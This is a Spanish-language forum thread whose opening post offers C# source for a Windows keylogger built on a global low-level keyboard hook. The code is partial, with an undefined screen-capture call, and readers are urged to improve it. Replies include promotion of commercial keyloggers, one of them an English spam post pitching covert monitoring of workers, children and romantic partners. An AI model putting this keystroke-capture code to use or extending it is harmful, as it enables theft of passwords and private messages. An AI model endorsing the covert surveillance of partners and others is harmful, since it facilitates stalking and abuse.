Vamos a crear un hermoso keylogger en visual C#. Sin usar ingeniería, sólo crearemos un simple código; el diseño gráfico lo pueden hacer ustedes como más les guste. /*Éstos son los espacios de nombres*/ using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms; using System.Drawing; /*Que comienze el juego!!!*/ class KeyloggerParaPortalianos { /*Atributos (Recuerden que los nombre de las variables se pueden cambiar)*/ private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; private static LowLevelKeyboardProc _proc = HookCallback; private static IntPtr _hookID = IntPtr.Zero; /*corre dentro de Windows, así que los que tenemos linux podemos probarlo usando VirtualBox de Oracle (gratis)*/ [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr GetModuleHandle(string lpModuleName); private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); [STAThread] /*Entrada principal*/ static void Main(string[] args) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); _hookID = SetHook(_proc); Application.Run(); UnhookWindowsHookEx(_hookID); } /*Métodos*/ private static IntPtr SetHook(LowLevelKeyboardProc proc) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); } } private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); if ((Keys)vkCode == Keys.PrintScreen) { CaptureScreen(); } //Console.WriteLine((Keys)vkCode); } return CallNextHookEx(_hookID, nCode, wParam, lParam); } Aquí ustedes tienen que jugar, investigar, perfeccionar y meter harta mano... saludos!!! http://img574.*************/img574/7136/pantallazol.png http://img571.*************/img571/6240/pantallazo1k.png http://img266.*************/img266/5660/pantallazo2z.png
Gracias man por el aporte ;D si tienes mas podrias ponerlos po :Y o si tienes alguna pagina de donde los sacas me mandarias un mp :Y vale en todo caso ;D
Voy a presentar mi keylogger, llamado Aobo Keylogger para Mac. Basta con echar una oportunidad para ello.
Keylogger is really helpful in the matters of personal issues and if you need to know what your workers, kids, and partners are doing behind your back. By using one you would be able to know whatsoever your workers are doing in the working hours, where your partners are and what your kids are doing at their social media profiles. You can try www.cocospy.com/blog/best-keylogger-for-android.html as it is one of the best available tools in the market. It has a very good keylogger that will give you every info of the targeted phone.